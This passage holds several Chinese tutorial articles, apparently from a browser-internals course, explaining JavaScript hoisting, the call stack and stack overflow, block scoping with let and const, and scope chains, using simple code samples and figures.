- 第4行JavaScript引擎发现了一个通过function定义的函数所以它将函数定义存储到堆(HEAP并在环境对象中创建一个showName的属性然后将该属性值指向堆中函数的位置不了解堆也没关系JavaScript的执行堆和执行栈我会在后续文章中介绍
这样就生成了变量环境对象。接下来JavaScript引擎会把声明以外的代码编译为字节码至于字节码的细节我也会在后面文章中做详细介绍你可以类比如下的模拟代码
```
showName()
console.log(myname)
myname = '极客时间'
```
好了,现在有了执行上下文和可执行代码了,那么接下来就到了执行阶段了。
### 2. 执行阶段
JavaScript引擎开始执行“可执行代码”按照顺序一行一行地执行。下面我们就来一行一行分析下这个执行过程
- 当执行到showName函数时JavaScript引擎便开始在变量环境对象中查找该函数由于变量环境对象中存在该函数的引用所以JavaScript引擎便开始执行该函数并输出“函数showName被执行”结果。
- 接下来打印“myname”信息JavaScript引擎继续在变量环境对象中查找该对象由于变量环境存在myname变量并且其值为undefined所以这时候就输出undefined。
- 接下来执行第3行把“极客时间”赋给myname变量赋值后变量环境中的myname属性值改变为“极客时间”变量环境如下所示
```
VariableEnvironment:
myname -&gt; &quot;极客时间&quot;,
showName -&gt;function : {console.log(myname)
```
好了以上就是一段代码的编译和执行流程。实际上编译阶段和执行阶段都是非常复杂的包括了词法分析、语法解析、代码优化、代码生成等这些内容我会在《14 | 编译器和解释器V8是如何执行一段JavaScript代码的》那节详细介绍在本篇文章中你只需要知道JavaScript代码经过编译生成了什么内容就可以了。
## 代码中出现相同的变量或者函数怎么办?
现在你已经知道了在执行一段JavaScript代码之前会编译代码并将代码中的函数和变量保存到执行上下文的变量环境中那么如果代码中出现了重名的函数或者变量JavaScript引擎会如何处理
我们先看下面这样一段代码:
```
function showName() {
console.log('极客邦');
}
showName();
function showName() {
console.log('极客时间');
}
showName();
```
在上面代码中我们先定义了一个showName的函数该函数打印出来“极客邦”然后调用showName并定义了一个showName函数这个showName函数打印出来的是“极客时间”最后接着继续调用showName。那么你能分析出来这两次调用打印出来的值是什么吗
我们来分析下其完整执行流程:
- **首先是编译阶段**。遇到了第一个showName函数会将该函数体存放到变量环境中。接下来是第二个showName函数继续存放至变量环境中但是变量环境中已经存在一个showName函数了此时**第二个showName函数会将第一个showName函数覆盖掉**。这样变量环境中就只存在第二个showName函数了。
- **接下来是执行阶段**。先执行第一个showName函数但由于是从变量环境中查找showName函数而变量环境中只保存了第二个showName函数所以最终调用的是第二个函数打印的内容是“极客时间”。第二次执行showName函数也是走同样的流程所以输出的结果也是“极客时间”。
综上所述,**一段代码如果定义了两个相同名字的函数,那么最终生效的是最后一个函数**。
## 总结
好了,今天就到这里,下面我来简单总结下今天的主要内容:
- JavaScript代码执行过程中需要先做**变量提升**而之所以需要实现变量提升是因为JavaScript代码在执行之前需要先**编译**。
- 在**编译阶段**,变量和函数会被存放到**变量环境**中变量的默认值会被设置为undefined在代码**执行阶段**JavaScript引擎会从变量环境中去查找自定义的变量和函数。
- 如果在编译阶段,存在两个相同的函数,那么最终存放在变量环境中的是最后定义的那个,这是因为后定义的会覆盖掉之前定义的。
以上就是今天所讲的主要内容当然学习这些内容并不是让你掌握一些JavaScript小技巧其主要目的是让你清楚JavaScript的执行机制**先编译,再执行**。
如果你了解了JavaScript执行流程那么在编写代码时你就能避开一些陷阱在分析代码过程中也能通过分析JavaScript的执行过程来定位问题。
## 思考时间
最后,看下面这段代码:
```
showName()
var showName = function() {
console.log(2)
}
function showName() {
console.log(1)
}
```
你能按照JavaScript的执行流程来分析最终输出结果吗
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

@@ -0,0 +1,199 @@
<audio id="audio" title="08 | 调用栈为什么JavaScript代码会出现栈溢出" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/10/6c/104e80fb5fe18eb956a5a81f6843ff6c.mp3"></audio>
在[上篇文章](https://time.geekbang.org/column/article/119046)中我们讲到了当一段代码被执行时JavaScript引擎先会对其进行编译并创建执行上下文。但是并没有明确说明到底什么样的代码才算符合规范。
那么接下来我们就来明确下,哪些情况下代码才算是“一段”代码,才会在执行之前就进行编译并创建执行上下文。一般说来,有这么三种情况:
1. 当JavaScript执行全局代码的时候会编译全局代码并创建全局执行上下文而且在整个页面的生存周期内全局执行上下文只有一份。
1. 当调用一个函数的时候,函数体内的代码会被编译,并创建函数执行上下文,一般情况下,函数执行结束之后,创建的函数执行上下文会被销毁。
1. 当使用eval函数的时候eval的代码也会被编译并创建执行上下文。
好了,又进一步理解了执行上下文,那本节我们就在这基础之上继续深入,一起聊聊**调用栈**。学习调用栈至少有以下三点好处:
1. 可以帮助你了解JavaScript引擎背后的工作原理
1. 让你有调试JavaScript代码的能力
1. 帮助你搞定面试,因为面试过程中,调用栈也是出境率非常高的题目。
比如你在写JavaScript代码的时候有时候可能会遇到栈溢出的错误如下图所示
<img src="https://static001.geekbang.org/resource/image/0c/70/0c9e2c4f7ee8ca59cfa99a6f51510470.png" alt="">
那为什么会出现这种错误呢?这就涉及到了**调用栈**的内容。你应该知道JavaScript中有很多函数经常会出现在一个函数中调用另外一个函数的情况**调用栈就是用来管理函数调用关系的一种数据结构**。因此要讲清楚调用栈,你还要先弄明白**函数调用**和**栈结构**。
## 什么是函数调用
函数调用就是运行一个函数,具体使用方式是使用函数名称跟着一对小括号。下面我们看个简单的示例代码:
```
var a = 2
function add(){
var b = 10
return a+b
}
add()
```
这段代码很简单先是创建了一个add函数接着在代码的最下面又调用了该函数。
那么下面我们就利用这段简单的代码来解释下函数调用的过程。
在执行到函数add()之前JavaScript引擎会为上面这段代码创建全局执行上下文包含了声明的函数和变量你可以参考下图
<img src="https://static001.geekbang.org/resource/image/7f/da/7fa2ed18e702861890d767ea547533da.png" alt="">
从图中可以看出,代码中全局变量和函数都保存在全局上下文的变量环境中。
执行上下文准备好之后便开始执行全局代码当执行到add这儿时JavaScript判断这是一个函数调用那么将执行以下操作
- 首先,从**全局执行上下文**中取出add函数代码。
- 其次对add函数的这段代码进行编译并创建**该函数的执行上下文**和**可执行代码**。
- 最后,执行代码,输出结果。
完整流程你可以参考下图:
<img src="https://static001.geekbang.org/resource/image/53/ca/537efd9e96771dc50737117e615533ca.png" alt="">
就这样当执行到add函数的时候我们就有了两个执行上下文了——全局执行上下文和add函数的执行上下文。
也就是说在执行JavaScript时可能会存在多个执行上下文那么JavaScript引擎是如何管理这些执行上下文的呢
答案是**通过一种叫栈的数据结构来管理的**。那什么是栈呢?它又是如何管理这些执行上下文呢?
## 什么是栈
关于栈,你可以结合这么一个贴切的例子来理解,一条单车道的单行线,一端被堵住了,而另一端入口处没有任何提示信息,堵住之后就只能后进去的车子先出来,这时这个堵住的单行线就可以被看作是一个**栈容器**,车子开进单行线的操作叫做**入栈**,车子倒出去的操作叫做**出栈**。
在车流量较大的场景中,就会发生反复的入栈、栈满、出栈、空栈和再次入栈,一直循环。
所以,栈就是类似于一端被堵住的单行线,车子类似于栈中的元素,栈中的元素满足**后进先出**的特点。你可以参看下图:
<img src="https://static001.geekbang.org/resource/image/5e/05/5e2bb65019053abfd5e7710e41d1b405.png" alt="">
## 什么是JavaScript的调用栈
JavaScript引擎正是利用栈的这种结构来管理执行上下文的。在执行上下文创建好后JavaScript引擎会将执行上下文压入栈中通常把这种用来管理执行上下文的栈称为**执行上下文栈**,又称**调用栈**。
为便于你更好地理解调用栈,下面我们再来看段稍微复杂点的示例代码:
```
var a = 2
function add(b,c){
return b+c
}
function addAll(b,c){
var d = 10
result = add(b,c)
return a+result+d
}
addAll(3,6)
```
在上面这段代码中你可以看到它是在addAll函数中调用了add函数那在整个代码的执行过程中调用栈是怎么变化的呢
下面我们就一步步地分析在代码的执行过程中,调用栈的状态变化情况。
**第一步,创建全局上下文,并将其压入栈底**。如下图所示:
<img src="https://static001.geekbang.org/resource/image/a5/1d/a5d7ec1f8f296412acc045835b85431d.png" alt="">
从图中你也可以看出变量a、函数add和addAll都保存到了全局上下文的变量环境对象中。
全局执行上下文压入到调用栈后JavaScript引擎便开始执行全局代码了。首先会执行a=2的赋值操作执行该语句会将全局上下文变量环境中a的值设置为2。设置后的全局上下文的状态如下图所示
<img src="https://static001.geekbang.org/resource/image/1d/1d/1d50269dbc5b4c69f83662ecdd977b1d.png" alt="">
接下来,**第二步是调用addAll函数**。当调用该函数时JavaScript引擎会编译该函数并为其创建一个执行上下文最后还将该函数的执行上下文压入栈中如下图所示
<img src="https://static001.geekbang.org/resource/image/7d/52/7d6c4c45db4ef9b900678092e6c53652.png" alt="">
addAll函数的执行上下文创建好之后便进入了函数代码的执行阶段了这里先执行的是d=10的赋值操作执行语句会将addAll函数执行上下文中的d由undefined变成了10。
然后接着往下执行,**第三步当执行到add函数**调用语句时,同样会为其创建执行上下文,并将其压入调用栈,如下图所示:
<img src="https://static001.geekbang.org/resource/image/cc/37/ccfe41d906040031a7df1e4f1bce5837.png" alt="">
当add函数返回时该函数的执行上下文就会从栈顶弹出并将result的值设置为add函数的返回值也就是9。如下图所示
<img src="https://static001.geekbang.org/resource/image/03/96/03ca801a5372f941bf17d6088fee0f96.png" alt="">
紧接着addAll执行最后一个相加操作后并返回addAll的执行上下文也会从栈顶部弹出此时调用栈中就只剩下全局上下文了。最终如下图所示
<img src="https://static001.geekbang.org/resource/image/d0/7b/d0ac1d6e77735338fa97cc9a3f6c717b.png" alt="">
至此整个JavaScript流程执行结束了。
好了,现在你应该知道了**调用栈是JavaScript引擎追踪函数执行的一个机制**,当一次有多个函数被调用时,通过调用栈就能够追踪到哪个函数正在被执行以及各函数之间的调用关系。
## 在开发中,如何利用好调用栈
鉴于调用栈的重要性和实用性,那么接下来我们就一起来看看在实际工作中,应该如何查看和利用好调用栈。
### 1. 如何利用浏览器查看调用栈的信息
当你执行一段复杂的代码时,你可能很难从代码文件中分析其调用关系,这时候你可以在你想要查看的函数中加入断点,然后当执行到该函数时,就可以查看该函数的调用栈了。
这么说可能有点抽象这里我们拿上面的那段代码做个演示你可以打开“开发者工具”点击“Source”标签选择JavaScript代码的页面然后在第3行加上断点并刷新页面。你可以看到执行到add函数时执行流程就暂停了这时可以通过右边“call stack”来查看当前的调用栈的情况如下图
<img src="https://static001.geekbang.org/resource/image/c0/a2/c0d303a289a535b87a6c445ba7f34fa2.png" alt="">
从图中可以看出右边的“call stack”下面显示出来了函数的调用关系栈的最底部是anonymous也就是全局的函数入口中间是addAll函数顶部是add函数。这就清晰地反映了函数的调用关系所以**在分析复杂结构代码或者检查Bug时调用栈都是非常有用的**。
除了通过断点来查看调用栈你还可以使用console.trace()来输出当前的函数调用关系比如在示例代码中的add函数里面加上了console.trace(),你就可以看到控制台输出的结果,如下图:
<img src="https://static001.geekbang.org/resource/image/ab/ce/abfba06cd23a7704a6eb148cff443ece.png" alt="">
### 2. 栈溢出Stack Overflow
现在你知道了调用栈是一种用来管理执行上下文的数据结构,符合后进先出的规则。不过还有一点你要注意,**调用栈是有大小的**当入栈的执行上下文超过一定数目JavaScript引擎就会报错我们把这种错误叫做**栈溢出**。
特别是在你写递归代码的时候,就很容易出现栈溢出的情况。比如下面这段代码:
```
function division(a,b){
return division(a,b)
}
console.log(division(1,2))
```
当执行时,就会抛出栈溢出错误,如下图:
<img src="https://static001.geekbang.org/resource/image/b4/4d/b4f7196077d9ef4eac1ca6a279f2054d.png" alt="">
从上图你可以看到抛出的错误信息为超过了最大栈调用大小Maximum call stack size exceeded
那为什么会出现这个问题呢这是因为当JavaScript引擎开始执行这段代码时它首先调用函数division并创建执行上下文压入栈中然而这个函数是**递归的,并且没有任何终止条件**,所以它会一直创建新的函数执行上下文,并反复将其压入栈中,但栈是有容量限制的,超过最大数量后就会出现栈溢出的错误。
理解了栈溢出原因后,你就可以使用一些方法来避免或者解决栈溢出的问题,比如把递归调用的形式改造成其他形式,或者使用加入定时器的方法来把当前任务拆分为其他很多小任务。
## 总结
好了,今天的内容就讲到这里,下面来总结下今天的内容。
- 每调用一个函数JavaScript引擎会为其创建执行上下文并把该执行上下文压入调用栈然后JavaScript引擎开始执行函数代码。
- 如果在一个函数A中调用了另外一个函数B那么JavaScript引擎会为B函数创建执行上下文并将B函数的执行上下文压入栈顶。
- 当前函数执行完毕后JavaScript引擎会将该函数的执行上下文弹出栈。
- 当分配的调用栈空间被占满时,会引发“堆栈溢出”问题。
栈是一种非常重要的数据结构不光应用在JavaScript语言中其他的编程语言如C/C++、Java、Python等语言在执行过程中也都使用了栈来管理函数之间的调用关系。所以栈是非常基础且重要的知识点你必须得掌握。
## 思考时间
最后,我给你留个思考题,你可以看下面这段代码:
```
function runStack (n) {
if (n === 0) return 100;
return runStack( n- 2);
}
runStack(50000)
```
这是一段递归代码可以通过传入参数n让代码递归执行n次也就意味着调用栈的深度能达到n当输入一个较大的数时比如50000就会出现栈溢出的问题那么你能优化下这段代码以解决栈溢出的问题吗
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

@@ -0,0 +1,274 @@
<audio id="audio" title="09 | 块级作用域var缺陷以及为什么要引入let和const" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/29/57/291ed6110131ffb0967491d7b2031757.mp3"></audio>
在前面[《07 | 变量提升JavaScript代码是按顺序执行的吗](https://time.geekbang.org/column/article/119046)这篇文章中我们已经讲解了JavaScript中变量提升的相关内容**正是由于JavaScript存在变量提升这种特性从而导致了很多与直觉不符的代码这也是JavaScript的一个重要设计缺陷**。
虽然ECMAScript6以下简称ES6已经通过引入块级作用域并配合let、const关键字来避开了这种设计缺陷但是由于JavaScript需要保持向下兼容所以变量提升在相当长一段时间内还会继续存在。这也加大了你理解概念的难度因为既要理解新的机制又要理解变量提升这套机制关键这两套机制还是同时运行在“一套”系统中的。
但如果抛开JavaScript的底层去理解这些那么你大概率会很难深入理解其概念。俗话说“断病要断因治病要治根”所以为了便于你更好地理解和学习今天我们这篇文章会先“**探病因**”——分析为什么在JavaScript中会存在变量提升以及变量提升所带来的问题然后再来“**开药方**”——介绍如何通过**块级作用域并配合let和const关键字**来修复这种缺陷。
## 作用域scope
为什么JavaScript中会存在变量提升这个特性而其他语言似乎都没有这个特性呢要讲清楚这个问题我们就得先从作用域讲起。
**作用域是指在程序中定义变量的区域,该位置决定了变量的生命周期。通俗地理解,作用域就是变量与函数的可访问范围,即作用域控制着变量和函数的可见性和生命周期。**
在ES6之前ES的作用域只有两种全局作用域和函数作用域。
- **全局作用域**中的对象在代码中的任何地方都能访问,其生命周期伴随着页面的生命周期。
- **函数作用域**就是在函数内部定义的变量或者函数,并且定义的变量或者函数只能在函数内部被访问。函数执行结束之后,函数内部定义的变量会被销毁。
在ES6之前JavaScript只支持这两种作用域相较而言其他语言则都普遍支持**块级作用域**。块级作用域就是使用一对大括号包裹的一段代码,比如函数、判断语句、循环语句,甚至单独的一个{}都可以被看作是一个块级作用域。
为了更好地理解块级作用域,你可以参考下面的一些示例代码:
```
//if块
if(1){}
//while块
while(1){}
//函数块
function foo(){}
//for循环块
for(let i = 0; i&lt;100; i++){}
//单独一个块
{}
```
简单来讲如果一种语言支持块级作用域那么其代码块内部定义的变量在代码块外部是访问不到的并且等该代码块中的代码执行完成之后代码块中定义的变量会被销毁。你可以看下面这段C代码
```
char* myname = &quot;极客时间&quot;;
void showName() {
printf(&quot;%s \n&quot;,myname);
if(0){
char* myname = &quot;极客邦&quot;;
}
}
int main(){
showName();
return 0;
}
```
上面这段C代码执行后最终打印出来的是上面全局变量myname的值之所以这样是因为C语言是支持块级作用域的所以if块里面定义的变量是不能被if块外面的语句访问到的。
和Java、C/C++不同,**ES6之前是不支持块级作用域的**因为当初设计这门语言的时候并没有想到JavaScript会火起来所以只是按照最简单的方式来设计。没有了块级作用域再把作用域内部的变量统一提升无疑是最快速、最简单的设计不过这也直接导致了函数中的变量无论是在哪里声明的在编译阶段都会被提取到执行上下文的变量环境中所以这些变量在整个函数体内部的任何地方都是能被访问的这也就是JavaScript中的变量提升。
## 变量提升所带来的问题
由于变量提升作用使用JavaScript来编写和其他语言相同逻辑的代码都有可能会导致不一样的执行结果。那为什么会出现这种情况呢主要有以下两种原因。
### 1. 变量容易在不被察觉的情况下被覆盖掉
比如我们重新使用JavaScript来实现上面那段C代码实现后的JavaScript代码如下
```
var myname = &quot;极客时间&quot;
function showName(){
console.log(myname);
if(0){
var myname = &quot;极客邦&quot;
}
console.log(myname);
}
showName()
```
执行上面这段代码打印出来的是undefined而并没有像前面C代码那样打印出来“极客时间”的字符串。为什么输出的内容是undefined呢我们再来分析一下。
首先当刚执行到showName函数调用时执行上下文和调用栈的状态是怎样的具体分析过程你可以回顾[《08 | 调用栈为什么JavaScript代码会出现栈溢出](https://time.geekbang.org/column/article/120257)这篇文章的分析过程,这里我就直接展示出来了,最终的调用栈状态如下图所示:
<img src="https://static001.geekbang.org/resource/image/94/c9/944aaeaeb9ee50feea3c7d218acdd5c9.png" alt="">
showName函数的执行上下文创建后JavaScript引擎便开始执行showName函数内部的代码了。首先执行的是
```
console.log(myname);
```
执行这段代码需要使用变量myname结合上面的调用栈状态图你可以看到这里有两个myname变量一个在全局执行上下文中其值是“极客时间”另外一个在showName函数的执行上下文中其值是undefined。那么到底该使用哪个呢
相信做过JavaScript开发的同学都能轻松回答出来答案“当然是**先使用函数执行上下文里面的变量**啦”的确是这样这是因为在函数执行过程中JavaScript会优先从当前的执行上下文中查找变量由于变量提升当前的执行上下文中就包含了变量myname而值是undefined所以获取到的myname的值就是undefined。
这输出的结果和其他大部分支持块级作用域的语言都不一样比如上面C语言输出的就是全局变量所以这会很容易造成误解特别是在你会一些其他语言的基础之上再来学习JavaScript你会觉得这种结果很不自然。
### 2. 本应销毁的变量没有被销毁
接下来我们再来看下面这段让人误解更大的代码:
```
function foo(){
for (var i = 0; i &lt; 7; i++) {
}
console.log(i);
}
foo()
```
如果你使用C语言或者其他的大部分语言实现类似代码在for循环结束之后i就已经被销毁了但是在JavaScript代码中i的值并未被销毁所以最后打印出来的是7。
这同样也是由变量提升而导致的在创建执行上下文阶段变量i就已经被提升了所以当for循环结束之后变量i并没有被销毁。
这依旧和其他支持块级作用域的语言表现是不一致的,所以必然会给一些人造成误解。
## ES6是如何解决变量提升带来的缺陷
上面我们介绍了变量提升而带来的一系列问题,为了解决这些问题,**ES6引入了let和const关键字**从而使JavaScript也能像其他语言一样拥有了块级作用域。
关于let和const的用法你可以参考下面代码
```
let x = 5
const y = 6
x = 7
y = 9 //报错const声明的变量不可以修改
```
从这段代码你可以看出来两者之间的区别是使用let关键字声明的变量是可以被改变的而使用const声明的变量其值是不可以被改变的。但不管怎样两者都可以生成块级作用域为了简单起见在下面的代码中我统一使用let关键字来演示。
那么接下来我们就通过实际的例子来分析下ES6是如何通过块级作用域来解决上面的问题的。
你可以先参考下面这段存在变量提升的代码:
```
function varTest() {
var x = 1;
if (true) {
var x = 2; // 同样的变量!
console.log(x); // 2
}
console.log(x); // 2
}
```
在这段代码中有两个地方都定义了变量x第一个地方在函数块的顶部第二个地方在if块的内部由于var的作用范围是整个函数所以在编译阶段会生成如下的执行上下文
<img src="https://static001.geekbang.org/resource/image/45/bf/4501368679083f3a8e1a9e4a8e316dbf.png" alt="">
从执行上下文的变量环境中可以看出最终只生成了一个变量x函数体内所有对x的赋值操作都会直接改变变量环境中的x值。
所以上述代码最后通过console.log(x)输出的是2而对于相同逻辑的代码其他语言最后一步输出的值应该是1因为在if块里面的声明不应该影响到块外面的变量。
既然支持块级作用域和不支持块级作用域的代码执行逻辑是不一样的,那么接下来我们就来改造上面的代码,让其支持块级作用域。
这个改造过程其实很简单只需要把var关键字替换为let关键字改造后的代码如下
```
function letTest() {
let x = 1;
if (true) {
let x = 2; // 不同的变量
console.log(x); // 2
}
console.log(x); // 1
}
```
执行这段代码其输出结果就和我们的预期是一致的。这是因为let关键字是支持块级作用域的所以在编译阶段JavaScript引擎并不会把if块中通过let声明的变量存放到变量环境中这也就意味着在if块通过let声明的关键字并不会提升到全函数可见。所以在if块之内打印出来的值是2跳出语块之后打印出来的值就是1了。这种就非常**符合我们的编程习惯了:作用域块内声明的变量不影响块外面的变量**。
## JavaScript是如何支持块级作用域的
现在你知道了ES可以通过使用let或者const关键字来实现块级作用域不过你是否有过这样的疑问“在同一段代码中ES6是如何做到既要支持变量提升的特性又要支持块级作用域的呢
那么接下来,我们就要**站在执行上下文的角度**来揭开答案。
你已经知道JavaScript引擎是通过变量环境实现函数级作用域的那么ES6又是如何在函数级作用域的基础之上实现对块级作用域的支持呢你可以先看下面这段代码
```
function foo(){
var a = 1
let b = 2
{
let b = 3
var c = 4
let d = 5
console.log(a)
console.log(b)
}
console.log(b)
console.log(c)
console.log(d)
}
foo()
```
当执行上面这段代码的时候JavaScript引擎会先对其进行编译并创建执行上下文然后再按照顺序执行代码关于如何创建执行上下文我们在前面的文章中已经分析过了但是现在的情况有点不一样我们引入了let关键字let关键字会创建块级作用域那么let关键字是如何影响执行上下文的呢
接下来我们就来一步步分析上面这段代码的执行流程。
**第一步是编译并创建执行上下文**,下面是我画出来的执行上下文示意图,你可以参考下:
<img src="https://static001.geekbang.org/resource/image/f9/67/f9f67f2f53437218baef9dc724bd4c67.png" alt="">
通过上图,我们可以得出以下结论:
- 函数内部通过var声明的变量在编译阶段全都被存放到**变量环境**里面了。
- 通过let声明的变量在编译阶段会被存放到**词法环境Lexical Environment**中。
- 在函数的作用域块内部通过let声明的变量并没有被存放到词法环境中。
接下来,**第二步继续执行代码**当执行到代码块里面时变量环境中a的值已经被设置成了1词法环境中b的值已经被设置成了2这时候函数的执行上下文就如下图所示
<img src="https://static001.geekbang.org/resource/image/7e/fa/7e0f7bc362e0dea21d27dc5fb08d06fa.png" alt="">
从图中可以看出当进入函数的作用域块时作用域块中通过let声明的变量会被存放在词法环境的一个单独的区域中这个区域中的变量并不影响作用域块外面的变量比如在作用域外面声明了变量b在该作用域块内部也声明了变量b当执行到作用域内部时它们都是独立的存在。
其实在词法环境内部维护了一个小型栈结构栈底是函数最外层的变量进入一个作用域块后就会把该作用域块内部的变量压到栈顶当作用域执行完成之后该作用域的信息就会从栈顶弹出这就是词法环境的结构。需要注意下我这里所讲的变量是指通过let或者const声明的变量。
再接下来,当执行到作用域块中的`console.log(a)`这行代码时就需要在词法环境和变量环境中查找变量a的值了具体查找方式是沿着词法环境的栈顶向下查询如果在词法环境中的某个块中查找到了就直接返回给JavaScript引擎如果没有查找到那么继续在变量环境中查找。
这样一个变量查找过程就完成了,你可以参考下图:
<img src="https://static001.geekbang.org/resource/image/06/08/06c06a756632acb12aa97b3be57bb908.png" alt="">
从上图你可以清晰地看出变量查找流程,不过要完整理解查找变量或者查找函数的流程,就涉及到作用域链了,这个我们会在下篇文章中做详细介绍。
当作用域块执行结束之后,其内部定义的变量就会从词法环境的栈顶弹出,最终执行上下文如下图所示:
<img src="https://static001.geekbang.org/resource/image/d4/28/d4f99640d62feba4202aa072f6369d28.png" alt="">
通过上面的分析想必你已经理解了词法环境的结构和工作机制块级作用域就是通过词法环境的栈结构来实现的而变量提升是通过变量环境来实现通过这两者的结合JavaScript引擎也就同时支持了变量提升和块级作用域了。
## 总结
好了,今天的内容就讲到这里,下面我来简单总结下今天的内容。
由于JavaScript的变量提升存在着变量覆盖、变量污染等设计缺陷所以ES6引入了块级作用域关键字来解决这些问题。
之后我们还通过对变量环境和词法环境的介绍分析了JavaScript引擎是如何同时支持变量提升和块级作用域的。
既然聊到了作用域,那最后我们再简单聊下编程语言吧。经常有人争论什么编程语言是世界上最好的语言,但如果站在语言本身来说,我觉得这种争论没有意义,因为语言是工具,而工具是用来创造价值的,至于能否创造价值或创造多大价值不完全由语言本身的特性决定。这么说吧,即便一门设计不那么好的语言,它也可能拥有非常好的生态,比如有完善的框架、非常多的落地应用,又或者能够给开发者带来更多的回报,这些都是评判因素。
如果站在语言层面来谈每种语言其实都是在相互借鉴对方的优势协同进化比如JavaScript引进了块级作用域、迭代器和协程其底层虚拟机的实现和Java、Python又是非常相似也就是说如果你理解了JavaScript协程和JavaScript中的虚拟机其实你也就理解了Java、Python中的协程和虚拟机的实现机制。
所以说,语言本身好坏不重要,重要的是能为开发者创造价值。
## 思考时间
下面给你留个思考题,看下面这样一段代码:
```
let myname= '极客时间'
{
console.log(myname)
let myname= '极客邦'
}
```
你能通过分析词法环境,得出来最终的打印结果吗?
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

@@ -0,0 +1,223 @@
<audio id="audio" title="10 | 作用域链和闭包 代码中出现相同的变量JavaScript引擎是如何选择的" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/a2/71/a2159c4dd201760f2529d27400cc3c71.mp3"></audio>
在[上一篇文章](https://time.geekbang.org/column/article/126339)中我们讲到了什么是作用域以及ES6是如何通过变量环境和词法环境来同时支持变量提升和块级作用域在最后我们也提到了如何通过词法环境和变量环境来查找变量这其中就涉及到**作用域链**的概念。
理解作用域链是理解闭包的基础而闭包在JavaScript中几乎无处不在同时作用域和作用域链还是所有编程语言的基础。所以如果你想学透一门语言作用域和作用域链一定是绕不开的。
那今天我们就来聊聊**什么是作用域链**,并通过作用域链再来讲讲**什么是闭包**。
首先我们来看下面这段代码:
```
function bar() {
console.log(myName)
}
function foo() {
var myName = &quot;极客邦&quot;
bar()
}
var myName = &quot;极客时间&quot;
foo()
```
你觉得这段代码中的bar函数和foo函数打印出来的内容是什么这就要分析下这两段代码的执行流程。
通过前面几篇文章的学习想必你已经知道了如何通过执行上下文来分析代码的执行流程了。那么当这段代码执行到bar函数内部时其调用栈的状态图如下所示
<img src="https://static001.geekbang.org/resource/image/87/f7/87d8bbc2bb62b03131802fba074146f7.png" alt="">
从图中可以看出全局执行上下文和foo函数的执行上下文中都包含变量myName那bar函数里面myName的值到底该选择哪个呢
也许你的第一反应是按照调用栈的顺序来查找变量,查找方式如下:
1. 先查找栈顶是否存在myName变量但是这里没有所以接着往下查找foo函数中的变量。
1. 在foo函数中查找到了myName变量这时候就使用foo函数中的myName。
如果按照这种方式来查找变量那么最终执行bar函数打印出来的结果就应该是“极客邦”。但实际情况并非如此如果你试着执行上述代码你会发现打印出来的结果是“极客时间”。为什么会是这种情况呢要解释清楚这个问题那么你就需要先搞清楚作用域链了。
## 作用域链
关于作用域链,很多人会感觉费解,但如果你理解了调用栈、执行上下文、词法环境、变量环境等概念,那么你理解起来作用域链也会很容易。所以很是建议你结合前几篇文章将上面那几个概念学习透彻。
其实在每个执行上下文的变量环境中,都包含了一个外部引用,用来指向外部的执行上下文,我们把这个外部引用称为**outer**。
当一段代码使用了一个变量时JavaScript引擎首先会在“当前的执行上下文”中查找该变量<br>
比如上面那段代码在查找myName变量时如果在当前的变量环境中没有查找到那么JavaScript引擎会继续在outer所指向的执行上下文中查找。为了直观理解你可以看下面这张图
<img src="https://static001.geekbang.org/resource/image/20/a7/20a832656434264db47c93e657e346a7.png" alt="">
从图中可以看出bar函数和foo函数的outer都是指向全局上下文的这也就意味着如果在bar函数或者foo函数中使用了外部变量那么JavaScript引擎会去全局执行上下文中查找。我们把这个查找的链条就称为**作用域链**。
现在你知道变量是通过作用域链来查找的了不过还有一个疑问没有解开foo函数调用的bar函数那为什么bar函数的外部引用是全局执行上下文而不是foo函数的执行上下文
要回答这个问题,你还需要知道什么是**词法作用域**。这是因为在JavaScript执行过程中其作用域链是由词法作用域决定的。
## 词法作用域
**词法作用域就是指作用域是由代码中函数声明的位置来决定的,所以词法作用域是静态的作用域,通过它就能够预测代码在执行过程中如何查找标识符。**
这么讲可能不太好理解,你可以看下面这张图:
<img src="https://static001.geekbang.org/resource/image/21/39/216433d2d0c64149a731d84ba1a07739.png" alt="">
从图中可以看出词法作用域就是根据代码的位置来决定的其中main函数包含了bar函数bar函数中包含了foo函数因为JavaScript作用域链是由词法作用域决定的所以整个词法作用域链的顺序是foo函数作用域—&gt;bar函数作用域—&gt;main函数作用域—&gt;全局作用域。
了解了词法作用域以及JavaScript中的作用域链我们再回过头来看看上面的那个问题在开头那段代码中foo函数调用了bar函数那为什么bar函数的外部引用是全局执行上下文而不是foo函数的执行上下文?
这是因为根据词法作用域foo和bar的上级作用域都是全局作用域所以如果foo或者bar函数使用了一个它们没有定义的变量那么它们会到全局作用域去查找。也就是说**词法作用域是代码编译阶段就决定好的,和函数是怎么调用的没有关系**。
## 块级作用域中的变量查找
前面我们通过全局作用域和函数级作用域来分析了作用域链那接下来我们再来看看块级作用域中变量是如何查找的在编写代码的时候如果你使用了一个在当前作用域中不存在的变量这时JavaScript引擎就需要按照作用域链在其他作用域中查找该变量如果你不了解该过程那就会有很大概率写出不稳定的代码。
我们还是先看下面这段代码:
```
function bar() {
var myName = &quot;极客世界&quot;
let test1 = 100
if (1) {
let myName = &quot;Chrome浏览器&quot;
console.log(test)
}
}
function foo() {
var myName = &quot;极客邦&quot;
let test = 2
{
let test = 3
bar()
}
}
var myName = &quot;极客时间&quot;
let myAge = 10
let test = 1
foo()
```
你可以自己先分析下这段代码的执行流程,看看能否分析出来执行结果。
要想得出其执行结果,那接下来我们就得站在作用域链和词法环境的角度来分析下其执行过程。
在[上篇文章](https://time.geekbang.org/column/article/126339)中我们已经介绍过了ES6是支持块级作用域的当执行到代码块时如果代码块中有let或者const声明的变量那么变量就会存放到该函数的词法环境中。对于上面这段代码当执行到bar函数内部的if语句块时其调用栈的情况如下图所示
<img src="https://static001.geekbang.org/resource/image/25/a7/25053af5ae30c8be991fa14631cde0a7.png" alt="">
